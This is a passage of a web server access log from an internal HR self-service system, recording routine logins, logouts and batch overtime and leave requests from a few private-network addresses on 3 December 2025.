[03/Dec/2025:09:09:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:09:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:13 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:09:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.134687912423622 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.134687912423622 HTTP/1.1" 200 8816 192.168.11.144 - - [03/Dec/2025:09:09:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.134687912423622 HTTP/1.1" 200 16781 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.134687912423622" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:41 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.134687912423622 HTTP/1.1" 200 16781 192.168.11.144 - - [03/Dec/2025:09:09:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4275 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4275 192.168.11.144 - - [03/Dec/2025:09:09:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.144 - - [03/Dec/2025:09:09:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:09:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:09:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:09:58 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:10:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5394606849396887 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5394606849396887 HTTP/1.1" 200 8816 192.168.11.144 - - [03/Dec/2025:09:10:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5394606849396887 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5394606849396887" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:22 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5394606849396887 HTTP/1.1" 200 10989 192.168.11.144 - - [03/Dec/2025:09:10:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:28 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4068 192.168.11.144 - - [03/Dec/2025:09:10:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:10:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:10:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:10:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2582812915064372 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:48 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2582812915064372 HTTP/1.1" 200 8816 192.168.11.144 - - [03/Dec/2025:09:10:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2582812915064372 HTTP/1.1" 200 10983 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2582812915064372" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:10:56 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.2582812915064372 HTTP/1.1" 200 10983 192.168.11.144 - - [03/Dec/2025:09:11:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:02 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.144 - - [03/Dec/2025:09:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.144 - - [03/Dec/2025:09:11:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.957925561066964 HTTP/1.1" 200 8816 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:32 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.957925561066964 HTTP/1.1" 200 8816 192.168.11.144 - - [03/Dec/2025:09:11:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.957925561066964 HTTP/1.1" 200 10989 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.957925561066964" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.957925561066964 HTTP/1.1" 200 10989 192.168.11.144 - - [03/Dec/2025:09:11:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4063 192.168.11.144 - - [03/Dec/2025:09:11:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [03/Dec/2025:09:11:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [03/Dec/2025:09:11:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:11:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8349 192.168.11.144 - - [03/Dec/2025:09:12:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14776 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.144 - - [03/Dec/2025:09:12:03 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14776 192.168.139.16 - - [03/Dec/2025:09:14:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:09:14:46 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.139.16 - - [03/Dec/2025:09:14:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:09:14:50 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.139.16 - - [03/Dec/2025:09:14:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:09:14:51 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9206 192.168.139.16 - - [03/Dec/2025:09:14:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:09:14:52 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.139.16 - - [03/Dec/2025:09:15:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [03/Dec/2025:09:15:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 192.168.11.70 - - [03/Dec/2025:09:23:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:23:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.11.70 - - [03/Dec/2025:09:23:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:23:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [03/Dec/2025:09:23:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:23:27 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.70 - - [03/Dec/2025:09:23:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:23:31 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.70 - - [03/Dec/2025:09:23:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:23:36 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.70 - - [03/Dec/2025:09:23:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:23:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.70 - - [03/Dec/2025:09:24:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:24:27 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493 192.168.11.70 - - [03/Dec/2025:09:24:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17929 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:24:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 17929 192.168.11.70 - - [03/Dec/2025:09:24:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:24:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12493 192.168.11.70 - - [03/Dec/2025:09:25:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 170493 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.70 - - [03/Dec/2025:09:25:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 170493 192.168.11.70 - - [03/Dec/2025:09:25:18 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 